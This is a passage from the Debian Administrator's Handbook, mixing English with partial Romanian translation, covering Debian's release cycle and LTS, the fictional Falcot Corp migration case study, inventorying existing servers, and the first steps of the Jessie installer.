Release Manager is an important title, associated with heavy responsibilities. The bearer of this title must, in effect, manage the release of a new, stable version of Debian, and define the process for development of Testing until it meets the quality criteria for Stable. They also define a tentative schedule (not always followed).
We also have Stable Release Managers, often abbreviated SRM, who manage and select updates for the current stable version of Debian. They systematically include security patches and examine all other proposals for inclusion, on a case by case basis, sent by Debian developers eager to update their package in the stable version.
Let us suppose that our package is now included in Testing. As long as it has room for improvement, its maintainer must continue to improve it and restart the process from Unstable (but its later inclusion in Testing is generally faster: unless it changed significantly, all of its dependencies are already available). When it reaches perfection, the maintainer has completed their work. The next step is the inclusion in the Stable distribution, which is, in reality, a simple copy of Testing at a moment chosen by the Release Manager. Ideally this decision is made when the installer is ready, and when no program in Testing has any known critical bugs.
Since this moment never truly arrives, in practice, Debian must compromise: remove packages whose maintainer has failed to correct bugs on time, or agree to release a distribution with some bugs in the thousands of programs. The Release Manager will have previously announced a freeze period, during which each update to Testing must be approved. The goal here is to prevent any new version (and its new bugs), and to only approve updates fixing bugs.
Fig. 1.3. A package's path through the various Debian versions
VOCABULARY Freeze: the home straight
During the freeze period, development of the Testing distribution is blocked; no more automatic updates are allowed. Only the Release Managers are then authorized to change packages, according to their own criteria. The purpose is to prevent the appearance of new bugs by introducing new versions; only thoroughly examined updates are authorized when they correct significant bugs.
After the release of a new stable version, the Stable Release Manager manages all further development (called “revisions”, ex: 7.1, 7.2, 7.3 for version 7). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included).
At the end of the journey, our hypothetical package is now included in the stable distribution. This journey, not without its difficulties, explains the significant delays separating the Debian Stable releases. This contributes, over all, to its reputation for quality. Furthermore, the majority of users are satisfied using one of the three distributions simultaneously available. The system administrators, concerned above all about the stability of their servers, don't need the latest and greatest version of GNOME; they can choose Debian Stable, and they will be satisfied. End users, more interested in the latest versions of GNOME or KDE than in rock-solid stability, will find Debian Testing to be a good compromise between a lack of serious problems and relatively up to date software. Finally, developers and more experienced users may blaze the trail, testing all the latest developments in Debian Unstable right out of the gate, at the risk of suffering the headaches and bugs inherent in any new version of a program. To each their own Debian!
CULTURE GNOME and KDE, graphical desktop environments
GNOME (GNU Network Object Model Environment) and KDE (K Desktop Environment) are the two most popular graphical desktop environments in the free software world. A desktop environment is a set of programs grouped together to allow easy management of the most common operations through a graphical interface. They generally include a file manager, office suite, web browser, e-mail program, multimedia accessories, etc. The most visible difference resides in the choice of the graphical library used: GNOME has chosen GTK+ (free software licensed under the LGPL), and KDE has selected Qt (a company-backed project, available nowadays both under the GPL and a commercial license).
Fig. 1.4. Chronological path of a program packaged by Debian
Each Stable release has an expected lifetime of about 5 years and given that releases tend to happen every 2 years, there can be up to 3 supported releases at a given point of time. When a new stable release happens, the former release becomes Oldstable and the one even before becomes Oldoldstable.
This Long Term Support (LTS) of Debian releases is a recent initiative: individual contributors and companies joined forces to create the Debian LTS team. Older releases which are no longer supported by the Debian security team fall under the responsibility of this new team.
The Debian security team handles security support in the current Stable release and also in the Oldstable release (but only for as long as is needed to ensure one year of overlap with the current stable release). This amounts roughly to three years of support for each release. The Debian LTS team handles the last (two) years of security support so that each releases benefits from at least 5 years of support and so that users can upgrade from version N to N+2.
COMMUNITY Companies sponsoring the LTS effort
Long Term Support is a difficult commitment to make in Debian because volunteers tend to avoid the work that is not very fun. And providing security support for 5 years old software is — for many contributors — a lot less fun than packaging new upstream versions or developing new features.
To bring this project to life, the project counted on the fact that long term support was particularly relevant for companies and that they would be willing to mutualize the cost of this security support.
The project started in june 2014: some organizations allowed their employees to contribute part-time to Debian LTS while others preferred to sponsor the project with money so that Debian contributors get paid to do the work that they would not do for free. Most Debian contributors willing to be paid to work on LTS got together to create a clear sponsorship offer managed by Freexian (Raphaël Hertzog's company):
The Debian LTS team is not yet able to properly support all packages in Debian, hence the volunteers work on packages they care about while the paid contributors prioritize packages used by their sponsors.
The project is always looking for new sponsors: what about your company? can you let an employee work part-time on long term support? can you allocate a small budget for security support?
In the context of this book, you are the system administrator of a growing small business. The time has come for you to redefine the information systems master plan for the coming year in collaboration with your directors. You choose to progressively migrate to Debian, both for practical and economical reasons. Let's see in more detail what's in store for you…
We have envisioned this case study to approach all modern information system services currently used in a medium sized company. After reading this book, you will have all of the elements necessary to install Debian on your servers and fly on your own wings. You will also learn how to efficiently find information in the event of difficulties.
Falcot Corp is a manufacturer of high quality audio equipment. The company is growing strongly, and has two facilities, one in Saint-Étienne, and another in Montpellier. The former has around 150 employees; it hosts a factory for the manufacturing of speakers, a design lab, and all administrative office. The Montpellier site is smaller, with only about 50 workers, and produces amplifiers.
NOTĂ Firmă imaginară, creată pentru studiul de caz
The Falcot Corp company used as an example here is completely fictional. Any resemblance to an existing company is purely coincidental. Likewise, some example data throughout this book may be fictional.
Sistemul informatic a întâmpinat dificultăți în încercarea de a ține pasul cu creșterea firmei, așă că acum sunt determinați să-l redefinească complet pentru a corespunde diferitelor cerințe stabilite de administrație:
The entire information system will be overhauled with these goals in mind.
Colaborând cu tine, conducerea departamentului de TI a condus un studiu puțin mai amplu, identificând câteva constrângeri și definind un plan pentru migrarea la sistemul liber ales, Debian.
A significant constraint identified is that the accounting department uses specific software, which only runs on Microsoft Windows™. The laboratory, for its part, uses computer aided design software that runs on OS X™.
Fig. 2.1. Privire de ansamblu asupra rețelei firmei Falcot S.R.L.
The switch to Debian will be gradual; a small business, with limited means, cannot reasonably change everything overnight. For starters, the IT staff must be trained in Debian administration. The servers will then be converted, starting with the network infrastructure (routers, firewalls, etc.) followed by the user services (file sharing, Web, SMTP, etc.). Then the office computers will be gradually migrated to Debian, for each department to be trained (internally) during the deployment of the new system.
ÎNAPOI LA NOȚIUNILE DE BAZĂ Linux sau GNU/Linux?
Linux, as you already know, is only a kernel. The expressions, “Linux distribution” and “Linux system” are, thus, incorrect: they are, in reality, distributions or systems based on Linux. These expressions fail to mention the software that always completes this kernel, among which are the programs developed by the GNU Project. Dr. Richard Stallman, founder of this project, insists that the expression “GNU/Linux” be systematically used, in order to better recognize the important contributions made by the GNU Project and the principles of freedom upon which they are founded.
Debian has chosen to follow this recommendation, and, thus, name its distributions accordingly (thus, the latest stable release is Debian GNU/Linux 8).
Several factors have dictated this choice. The system administrator, who was familiar with this distribution, ensured it was listed among the candidates for the computer system overhaul. Difficult economic conditions and ferocious competition have limited the budget for this operation, despite its critical importance for the future of the company. This is why Open Source solutions were swiftly chosen: several recent studies indicate they are less expensive than proprietary solutions while providing equal or better quality of service so long as qualified personnel are available to run them.
ÎN PRACTICĂ Costul total de proprietate (CTP)
The Total Cost of Ownership is the total of all money expended for the possession or acquisition of an item, in this case referring to the operating system. This price includes any possible license fee, costs for training personnel to work with the new software, replacement of machines that are too slow, additional repairs, etc. Everything arising directly from the initial choice is taken into account.
This TCO, which varies according to the criteria chosen in the assessment thereof, is rarely significant when taken in isolation. However, it is very interesting to compare TCOs for different options if they are calculated according to the same rules. This assessment table is, thus, of paramount importance, and it is easy to manipulate it in order to draw a predefined conclusion. Thus, the TCO for a single machine doesn't make sense, since the cost of an administrator is also reflected in the total number of machines they manage, a number which obviously depends on the operating system and tools proposed.
Among free operating systems, the IT department looked at the free BSD systems (OpenBSD, FreeBSD, and NetBSD), GNU Hurd, and Linux distributions. GNU Hurd, which has not yet released a stable version, was immediately rejected. The choice is simpler between BSD and Linux. The former have many merits, especially on servers. Pragmatism, however, led to choosing a Linux system, since its installed base and popularity are both very significant and have many positive consequences. One of these consequences is that it is easier to find qualified personnel to administer Linux machines than technicians experienced with BSD. Furthermore, Linux adapts to newer hardware faster than BSD (although they are often neck and neck in this race). Finally, Linux distributions are often more adapted to user-friendly graphical user interfaces, indispensable for beginners during migration of all office machines to a new system.
ALTERNATIVE Debian GNU/kFreeBSD
Since Debian Squeeze, it is possible to use Debian with a FreeBSD kernel on 32 and 64 bit computers; this is what the
kfreebsd-i386
andkfreebsd-amd64
architectures mean. While these architectures are not “official release architectures”, about 90 % of the software packaged by Debian is available for them.Aceste arhitecturi pot reprezenta alegerea potrivită pentru administratorii firmei Falcot S.R.L., în special pentru un „firewall” (nucleul are suport pentru trei paravane diferite: IPF, IPFW, PF) sau pentru un NAS (sistem de stocare conectat la rețea, pentru care sistemul de fișiere ZFS a fost testat și avizat).
Once the Linux family has been selected, a more specific option must be chosen. Again, there are plenty of criteria to consider. The chosen distribution must be able to operate for several years, since the migration from one to another would entail additional costs (although less than if the migration were between two totally different operating systems, such as Windows or OS X).
Sustenabilitatea este, de aceea, esențială și trebuie să garanteze actualizări regulate și petice de securitate pentru mai mulți ani. Sincronizarea actualizărilor este și ea importantă, din moment ce, cu așa de multe mașini de gestionat, firma Falcot S.R.L. nu poate să facă față unei astfel de operațiuni complexe prea frecvent. Așa că, departamentul de TI insistă să ruleze ultima versiune stabilă a distribuției, beneficiând de cea mai bună asistență tehnică și petice de securitate garantate. În consecință, actualizările de securitate sunt în general garantate doar pe o durată limitată pentru versiunile mai vechi ale unei distribuții.
În sfârșit, din motive de omogenitate și ușurință în administrare, aceeași distribuție trebuie să ruleze pe toate serverele (unele dintre ele care sunt mașini Sparc, la momentul actual rulând Solaris) și calculatoare de birou.
Există două categorii mari de distribuții de GNU/Linux: comerciale și conduse de comunitate. Prima, dezvoltată de firme, este vândută cu servicii de asistență comercială. A doua este dezvoltată conform aceluiași model de dezvoltare transparent folosit de programele libere pe care le include.
O distribuție comercială va avea, astfel, o tendință să lanseze noi versiuni mai frecvent, pentru a îmbunătăți actualizările de pe piață și serviciile asociate. Viitorul lor depinde în mod direct de succesul comercial al firmei și multe deja au dispărut (Caldera Linux, StormLinux etc.).
O distribuție condusă de comunitate urmează doar planificarea proprie. Ca nucleul Linux, versiunile noi sunt lansate când sunt stabile, niciodată mai devreme. Supraviețuirea lor este garantată, atâta timp cât are destui dezvoltatori sau firme terțe să o susțină.
O comparație între diferitele distribuții de GNU/Linux a condus la alegerea lui Debian din mai multe motive:
IN PRACTICE Debian Long Term Support
The Debian Long Term Support (LTS) project started in 2014 and aims to provide 5 years of security support to all stable Debian releases. As LTS is of primary importance to organizations with large deployments, the project tries to pool resources from Debian-using companies.
Falcot Corp is not big enough to let one member of its IT staff contribute to the LTS project, so the company opted to subscribe to Freexian's Debian LTS contract and provides financial support. Thanks to this, the Falcot administrators know that the packages they use will be handled in priority and they have a direct contact with the LTS team in case of problems.
Once Debian has been chosen, the matter of which version to use must be decided. Let us see why the administrators have picked Debian Jessie.
Every Debian release starts its life as a continuously changing distribution, also known as “Testing”. But at the time we write those lines, Debian Jessie is the latest “Stable” version of Debian.
The choice of Debian Jessie is well justified based on the fact that any administrator concerned about the quality of their servers will naturally gravitate towards the stable version of Debian. Even if the previous stable release might still be supported for a while, Falcot administrators aren't considering it because its support period will not last long enough and because the latest version brings new interesting features that they care about.
Any computer system overhaul should take the existing system into account. This allows reuse of available resources as much as possible and guarantees interoperability of the various elements comprising the system. This study will introduce a generic framework to follow in any migration of a computing infrastructure to Linux.
Debian integrates very well in all types of existing environments and plays well with any other operating system. This near-perfect harmony comes from market pressure which demands that software publishers develop programs that follow standards. Compliance with standards allows administrators to switch out programs: clients or servers, whether free or not.
Samba's SMB/CIFS support ensures excellent communication within a Windows context. It shares files and print queues to Windows clients and includes software that allow a Linux machine to use resources available on Windows servers.
TOOL Samba
The latest version of Samba can replace most of the Windows features: from those of a simple Windows NT server (authentication, files, print queues, downloading printer drivers, DFS, etc.) to the most advanced one (a domain controller compatible with Active Directory).
OS X machines provide, and are able to use, network services such as file servers and printer sharing. These services are published on the local network, which allows other machines to discover them and make use of them without any manual configuration, using the Bonjour implementation of the Zeroconf protocol suite. Debian includes another implementation, called Avahi, which provides the same functionality.
In the other direction, the Netatalk daemon can be used to provide file servers to OS X machines on the network. It implements the AFP (AppleShare) protocol as well as the required notifications so that the servers can be autodiscovered by the OS X clients.
Older Mac OS networks (before OS X) used a different protocol called AppleTalk. For environments involving machines using this protocol, Netatalk also provides the AppleTalk protocol (in fact, it started as a reimplementation of that protocol). It ensures the operation of the file server and print queues, as well as time server (clock synchronization). Its router function allows interconnection with AppleTalk networks.
Finally, NFS and NIS, both included, guarantee interaction with Unix systems. NFS ensures file server functionality, while NIS creates user directories. The BSD printing layer, used by most Unix systems, also allows sharing of print queues.
Fig. 3.1. Coexistence of Debian with OS X, Windows and Unix systems
In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies whatever the operating system used.
As simple as it seems, this step is essential. A serious administrator truly knows the principal roles of each server, but such roles can change, and sometimes experienced users may have installed “wild” services. Knowing that they exist will at least allow you to decide what to do with them, rather than delete them haphazardly.
For this purpose, it is wise to inform your users of the project before migrating the server. To involve them in the project, it may be useful to install the most common free software programs on their desktops prior to migration, which they will come across again after the migration to Debian; Libre Office and the Mozilla suite are the best examples here.
The nmap tool (in the package with the same name) will quickly identify Internet services hosted by a network connected machine without even requiring to log in to it. Simply call the following command on another machine connected to the same network:
$
nmap mirwiz
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-24 11:34 CET
Nmap scan report for mirwiz (192.168.1.104)
Host is up (0.0037s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
ALTERNATIVE Use netstat to find the list of available services
On a Linux machine, the netstat -tupan command will show the list of active or pending TCP sessions, as well UDP ports on which running programs are listening. This facilitates identification of services offered on the network.
GOING FURTHER IPv6
Some network commands may work either with IPv4 (the default usually) or with IPv6. These include the nmap and netstat commands, but also others, such as route or ip. The convention is that this behavior is enabled by the
-6
command-line option.
If the server is a Unix machine offering shell accounts to users, it is interesting to determine if processes are executed in the background in the absence of their owner. The command ps auxw displays a list of all processes with their user identity. By checking this information against the output of the who command, which gives a list of logged in users, it is possible to identify rogue or undeclared servers or programs running in the background. Looking at crontabs
(tables listing automatic actions scheduled by users) will often provide interesting information on functions fulfilled by the server (a complete explanation of cron is available in Secțiune 9.7, „Scheduling Tasks with cron and atd”).
In any case, it is essential to backup your servers: this allows recovery of information after the fact, when users will report specific problems due to the migration.
It is wise to retain the configuration of every identified service in order to be able to install the equivalent on the updated server. The bare minimum is to make a backup copy of the configuration files.
For Unix machines, the configuration files are usually found in /etc/
, but they may be located in a sub-directory of /usr/local/
. This is the case if a program has been installed from sources, rather than with a package. In some cases, one may also find them under /opt/
.
For data managing services (such as databases), it is strongly recommended to export the data to a standard format that will be easily imported by the new software. Such a format is usually in text mode and documented; it may be, for example, an SQL dump for a database, or an LDIF file for an LDAP server.
Fig. 3.2. Database backups
Each server software is different, and it is impossible to describe all existing cases in detail. Compare the documentation for the existing and the new software to identify the exportable (thus, re-importable) portions and those which will require manual handling. Reading this book will clarify the configuration of the main Linux server programs.
To effectively take over its maintenance, one may analyze a machine already running with Debian.
The first file to check is /etc/debian_version
, which usually contains the version number for the installed Debian system (it is part of the base-files package). If it indicates
, it means that the system was updated with packages coming from one of the development distributions (either testing or unstable). codename
/sid
The apt-show-versions program (from the Debian package of the same name) checks the list of installed packages and identifies the available versions. aptitude can also be used for these tasks, albeit in a less systematic manner.
A glance at the /etc/apt/sources.list
file (and /etc/apt/sources.list.d/
directory) will show where the installed Debian packages likely came from. If many unknown sources appear, the administrator may choose to completely reinstall the computer's system to ensure optimal compatibility with the software provided by Debian.
The sources.list
file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the dpkg command). In this case, the machine is misleading in its appearance of “standard” Debian. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb
files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu
or lmde
, etc.)
Likewise, it is interesting to analyze the contents of the /usr/local/
directory, whose purpose is to contain programs compiled and installed manually. Listing software installed in this manner is instructive, since this raises questions on the reasons for not using the corresponding Debian package, if such a package exists.
QUICK LOOK cruft
The cruft package proposes to list the available files that are not owned by any package. It has some filters (more or less effective, and more or less up to date) to avoid reporting some legitimate files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.).
Be careful to not blindly delete everything that cruft might list!
Once all the required information on the current server is known, we can shut it down and begin to install Debian on it.
To choose the appropriate version, we must know the computer's architecture. If it is a reasonably recent PC, it is most likely to be amd64 (older PCs were usually i386). In other cases, we can narrow down the possibilities according to the previously used system.
Tabel 3.1 is not intended to be exhaustive, but may be helpful. In any case, the original documentation for the computer is the most reliable source to find this information.
Tabel 3.1. Matching operating system and architecture
Operating System | Architecture(s) |
---|---|
DEC Unix (OSF/1) | alpha, mipsel |
HP Unix | ia64, hppa |
IBM AIX | powerpc |
Irix | mips |
OS X | amd64, powerpc, i386 |
z/OS, MVS | s390x, s390 |
Solaris, SunOS | sparc, i386, m68k |
Ultrix | mips |
VMS | alpha |
Windows 95/98/ME | i386 |
Windows NT/2000 | i386, alpha, ia64, mipsel |
Windows XP / Windows Server 2008 | i386, amd64, ia64 |
Windows Vista / Windows 7 / Windows 8 | i386, amd64 |
HARDWARE 64 bit PC vs 32 bit PC
Most recent computers have 64 bit Intel or AMD processors, compatible with older 32 bit processors; the software compiled for “i386” architecture thus works. On the other hand, this compatibility mode does not fully exploit the capabilities of these new processors. This is why Debian provides the “amd64” architecture, which works for recent AMD chips as well as Intel “em64t” processors (including most of the Core series), which are very similar to AMD64.
Once Debian is installed, we must install and configure one by one all of the services that this computer must host. The new configuration must take into consideration the prior one in order to ensure a smooth transition. All the information collected in the first two steps will be useful to successfully complete this part.
Fig. 3.3. Install the selected services
Prior to jumping into this exercise with both feet, it is strongly recommended that you read the remainder of this book. After that you will have a more precise understanding of how to configure the expected services.
Pentru a folosi Debian, trebuie să îl instalezi pe un calculator; această acțiune este preluată de debian-installer. O instalare reușită implică multe operații. Acest capitol le revizuiește în ordine cronologică.
BACK TO BASICS A catch-up course in the appendices
Installing a computer is always simpler when you are familiar with the way it works. If you are not, make a quick detour to Anexa B, Short Remedial Course before reading this chapter.
The installer for Jessie is based on debian-installer. Its modular design enables it to work in various scenarios and allows it to evolve and adapt to changes. Despite the limitations implied by the need to support a large number of architectures, this installer is very accessible to beginners, since it assists users at each stage of the process. Automatic hardware detection, guided partitioning, and graphical user interfaces have solved most of the problems that newbies used to face in the early years of Debian.
Installation requires 80 MB of RAM (Random Access Memory) and at least 700 MB of hard drive space. All Falcot computers meet these criteria. Note, however, that these figures apply to the installation of a very limited system without a graphical desktop. A minimum of 512 MB of RAM and 5 GB of hard drive space are really recommended for a basic office desktop workstation.
BEWARE Upgrading from Wheezy
If you already have Debian Wheezy installed on your computer, this chapter is not for you! Unlike other distributions, Debian allows updating a system from one version to the next without having to reinstall the system. Reinstalling, in addition to being unnecessary, could even be dangerous, since it could remove already installed programs.
The upgrade process will be described in Secțiune 6.6, „Upgrading from One Stable Distribution to the Next”.
A Debian system can be installed from several types of media, as long as the BIOS of the machine allows it. You can for instance boot with a CD-ROM, a USB key, or even through a network.
BACK TO BASICS BIOS, the hardware/software interface
BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard (the electronic board connecting all peripherals) and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).
The most widely used installation method is from a CD-ROM (or DVD-ROM, which behaves exactly the same way): the computer is booted from this media, and the installation program takes over.
Various CD-ROM families have different purposes: netinst (network installation) contains the installer and the base Debian system; all other programs are then downloaded. Its “image”, that is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150 to 280 MB (depending on architecture). On the other hand, the complete set offers all packages and allows for installation on a computer that has no Internet access; it requires around 84 CD-ROMs (or 12 DVD-ROMs, or two Blu-ray disks). But the programs are divided among the disks according to their popularity and importance; the first three disks will be sufficient for most installations, since they contain the most used software.
There is a last type of image, known as mini.iso
, which is only available as a by-product of the installer. The image only contains the minimum required to configure the network and everything else is downloaded (including parts of the installer itself, which is why those images tend to break when a new version of the installer is released). Those images can be found on the normal Debian mirrors under the dists/
directory. release
/main/installer-arch
/current/images/netboot/
TIP Multi-architecture disks
Most installation CD- and DVD-ROMs work only with a specific hardware architecture. If you wish to download the complete images, you must take care to choose those which work on the hardware of the computer on which you wish to install them.
Some CD/DVD-ROM images can work on several architectures. We thus have a CD-ROM image combining the netinst images of the i386 and amd64 architectures. There is also a DVD-ROM image that contains the installer and a selection of binary packages for i386 and amd64, as well as the corresponding source packages.
To acquire Debian CD-ROM images, you may of course download them and burn them to disk. You may also purchase them, and, thus, provide the project with a little financial support. Check the website to see the list of CD-ROM image vendors and download sites.
Since most computers are able to boot from USB devices, you can also install Debian from a USB key (this is nothing more than a small flash-memory disk).
The installation manual explains how to create a USB key that contains the debian-installer. The procedure is very simple because ISO images for i386 and amd64 are hybrid images that can boot from a CD-ROM as well as from a USB key.
You must first identify the device name of the USB key (ex: /dev/sdb
); the simplest means to do this is to check the messages issued by the kernel using the dmesg command. Then you must copy the previously downloaded ISO image (for example debian-8.0.0-amd64-i386-netinst.iso) with the command cat debian-8.0.0-amd64-i386-netinst.iso >/dev/sdb; sync. This command requires administrator rights, since it accesses the USB key directly and blindly erases its content.
A more detailed explanation is available in the installation manual. Among other things, it describes an alternative method of preparing a USB key that is more complex, but that allows to customize the installer's default options (those set in the kernel command line).
Many BIOSes allow booting directly from the network by downloading a kernel and a minimal filesystem image. This method (which has several names, such as PXE or TFTP boot) can be a life-saver if the computer does not have a CD-ROM reader, or if the BIOS can't boot from such media.
This installation method works in two steps. First, while booting the computer, the BIOS (or the network card) issues a BOOTP/DHCP request to automatically acquire an IP address. When a BOOTP or DHCP server returns a response, it includes a filename, as well as network settings. After having configured the network, the client computer then issues a TFTP (Trivial File Transfer Protocol) request for a file whose name was previously indicated. Once this file is acquired, it is executed as though it were a bootloader. This then launches the Debian installation program, which is executed as though it were running from the hard drive, a CD-ROM, or a USB key.
All the details of this method are available in the installation guide (“Preparing files for TFTP Net Booting” section).
When we have to deploy customized installations for a large number of computers, we generally choose an automated rather than a manual installation method. Depending on the situation and the complexity of the installations to be made, we can use FAI (Fully Automatic Installer, described in Secțiune 12.3.1, „Fully Automatic Installer (FAI)”), or even a customized installation CD with preseeding (see Secțiune 12.3.2, „Preseeding Debian-Installer”).
Once the BIOS has begun booting from the CD- or DVD-ROM, the Isolinux bootloader menu appears. At this stage, the Linux kernel is not yet loaded; this menu allows you to choose the kernel to boot and enter possible parameters to be transferred to it in the process.
For a standard installation, you only need to choose “Install” or “Graphical install” (with the arrow keys), then press the Enter key to initiate the remainder of the installation process. If the DVD-ROM is a “Multi-arch” disk, and the machine has an Intel or AMD 64 bit processor, the menu options “64 bit install” and “64 bit graphical install” enable the installation of the 64 bit variant (amd64) instead of the default 32 bit variant (i386). In practice, the 64 bit version can almost always be used: most recent processors are 64 bit processors and the 64 bit version deals better with the large amount of RAM that new computers tend to have.
GOING FURTHER 32 or 64 bits?
The fundamental difference between 32 and 64 bit systems is the size of memory addresses. In theory, a 32 bit system can not work with more than 4 GB of RAM (232 bytes). In practice, it is possible to work around this limitation by using the
686-pae
kernel variant, so long as the processor handles the PAE (Physical Address Extension) functionality. Using it does have a notable influence on system performance, however. This is why it is useful to use the 64 bit mode on a server with a large amount of RAM.For an office computer (where a few percent difference in performance is negligible), you must keep in mind that some proprietary programs are not available in 64 bit versions (such as Skype, for example). It is technically possible to make them work on 64 bit systems, but you have to install the 32 bit versions of all the necessary libraries (see Secțiune 5.4.5, „Multi-Arch Support”), and sometimes to use setarch or linux32 (in the util-linux package) to trick applications regarding the nature of the system.
IN PRACTICE Installation alongside an existing Windows system
If the computer is already running Windows, it is not necessary to delete the system in order to install Debian. You can have both systems at once, each installed on a separate disk or partition, and choose which to start when booting the computer. This configuration is often called “dual boot”, and the Debian installation system can set it up. This is done during the hard drive partitioning stage of installation and while setting up the bootloader (see the sidebars IN PRACTICE Shrinking a Windows partition and BEWARE Bootloader and dual boot).
If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit name…
BACK TO BASICS Bootloader
The bootloader is a low-level program that is responsible for booting the Linux kernel just after the BIOS passes off its control. To handle this task, it must be able to locate the Linux kernel to boot on the disk. On the i386 and amd64 architectures, the two most used programs to perform this task are LILO, the older of the two, and GRUB, its modern replacement. Isolinux and Syslinux are alternatives frequently used to boot from removable media.
Each menu entry hides a specific boot command line, which can be configured as needed by pressing the TAB key before validating the entry and booting. The “Help” menu entry displays the old command line interface, where the F1 to F10 keys display different help screens detailing the various options available at the prompt. You will rarely need to use this option except in very specific cases.
The “expert” mode (accessible in the “Advanced options” menu) details all possible options in the process of installation, and allows navigation between the various steps without them happening automatically in sequence. Be careful, this very verbose mode can be confusing due to the multitude of configuration choices that it offers.
Fig. 4.1. Boot screen
Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from a Multi-Arch DVD-ROM (more specifically, the beta4 version of the installer for Jessie); netinst installations, as well as the final release of the installer, may look slightly different. We will also address installation in graphical mode, but the only difference from “classic” (text-mode) installation is in the visual appearance.
The installation program begins in English, but the first step allows the user to choose the language that will be used in the rest of the process. Choosing French, for example, will provide an installation entirely translated into French (and a system configured in French as a result). This choice is also used to define more relevant default choices in subsequent stages (notably the keyboard layout).
BACK TO BASICS Navigating with the keyboard
Some steps in the installation process require you to enter information. These screens have several areas that may “have focus” (text entry area, checkboxes, list of choices, OK and Cancel buttons), and the TAB key allows you to move from one to another.
In graphical mode, you can use the mouse as you would normally on an installed graphical desktop.
Fig. 4.2. Selecting the language
The second step consists in choosing your country. Combined with the language, this information enables the program to offer the most appropriate keyboard layout. This will also influence the configuration of the time zone. In the United States, a standard QWERTY keyboard is suggested, and a choice of appropriate time zones is offered.
Fig. 4.3. Selecting the country
The proposed “American English” keyboard corresponds to the usual QWERTY layout.
Fig. 4.4. Choice of keyboard
This step is completely automatic in the vast majority of cases. The installer detects your hardware, and tries to identify the CD-ROM drive used in order to access its content. It loads the modules corresponding to the various hardware components detected, and then “mounts” the CD-ROM in order to read it. The previous steps were completely contained in the boot image included on the CD, a file of limited size and loaded into memory by the BIOS when booting from the CD.
The installer can work with the vast majority of drives, especially standard ATAPI peripherals (sometimes called IDE and EIDE). However, if detection of the CD-ROM reader fails, the installer offers the choice to load a kernel module (for instance from a USB key) corresponding to the CD-ROM driver.
With the contents of the CD now available, the installer loads all the files necessary to continue with its work. This includes additional drivers for the remaining hardware (especially the network card), as well as all the components of the installation program.
This automatic step tries to identify the network card and load the corresponding module. If automatic detection fails, you can manually select the module to load. If no module works, it is possible to load a specific module from a removable device. This last solution is usually only needed if the appropriate driver is not included in the standard Linux kernel, but available elsewhere, such as the manufacturer's website.
This step must absolutely be successful for netinst installations, since the Debian packages must be loaded from the network.
In order to automate the process as much as possible, the installer attempts an automatic network configuration by DHCP (for IPv4) and by IPv6 network discovery. If this fails, it offers more choices: try again with a normal DHCP configuration, attempt DHCP configuration by declaring the name of the machine, or set up a static network configuration.
This last option requires an IP address, a subnet mask, an IP address for a potential gateway, a machine name, and a domain name.
TIP Configuration without DHCP
If the local network is equipped with a DHCP server that you do not wish to use because you prefer to define a static IP address for the machine during installation, you can add the
netcfg/use_dhcp=false
option when booting from the CD-ROM. You just need to go to the desired menu entry by pressing the TAB key and add the desired option before pressing the Enter key.
BEWARE Do not improvise
Many local area networks are based on an implicit assumption that all machines can be trusted, and inadequate configuration of a single computer will often perturb the whole network. As a result, do not connect your machine to a network without first agreeing with its administrator on the appropriate settings (for example, the IP address, netmask, and broadcast address).
The super-user root account, reserved for the machine's administrator, is automatically created during installation; this is why a password is requested. The installer also asks for a confirmation of the password to prevent any input error which would later be difficult to amend.
Fig. 4.5. Administrator Password
SECURITY Administrator password
The root user's password should be long (8 characters or more) and impossible to guess. Indeed, any computer (and a fortiori any server) connected to the Internet is regularly targeted by automated connection attempts with the most obvious passwords. Sometimes it may even be subject to dictionary attacks, in which many combinations of words and numbers are tested as password. Avoid using the names of children or parents, dates of birth, etc.: many of your co-workers might know them, and you rarely want to give them free access to the computer in question.
These remarks are equally applicable for other user passwords, but the consequences of a compromised account are less drastic for users without administrative rights.
If inspiration is lacking, do not hesitate to use password generators, such as pwgen (in the package of the same name).
Debian also imposes the creation of a standard user account so that the administrator doesn't get into the bad habit of working as root. The precautionary principle essentially means that each task is performed with the minimum required rights, in order to limit the damage caused by human error. This is why the installer will ask for the complete name of this first user, their username, and their password (twice, to prevent the risk of erroneous input).
Fig. 4.6. Name of the first user
If the network is available, the system's internal clock is updated (in a one-shot way) from an NTP server. This way the timestamps on logs will be correct from the first boot. For them to remain consistently precise over time, an NTP daemon needs to be set up after initial installation (see Secțiune 8.9.2, „Time Synchronization”).
This step automatically detects the hard drives on which Debian may be installed. They will be presented in the next step: partitioning.
CULTURE Uses of partitioning
Partitioning, an indispensable step in installation, consists in dividing the available space on the hard drives (each subdivision thereof being called a “partition”) according to the data to be stored on it and the use for which the computer is intended. This step also includes choosing the filesystems to be used. All of these decisions will have an influence on performance, data security, and the administration of the server.
The partitioning step is traditionally difficult for new users. It is necessary to define the various portions of the disks (or “partitions”) on which the Linux filesystems and virtual memory (swap) will be stored. This task is complicated if another operating system that you want to keep is already on the machine. Indeed, you will then have to make sure that you do not alter its partitions (or that you resize them without causing damage).
Fortunately, the partitioning software has a “guided” mode which recommends partitions for the user to make — in most cases, you can simply validate the software's suggestions.
Fig. 4.7. Choice of partitioning mode
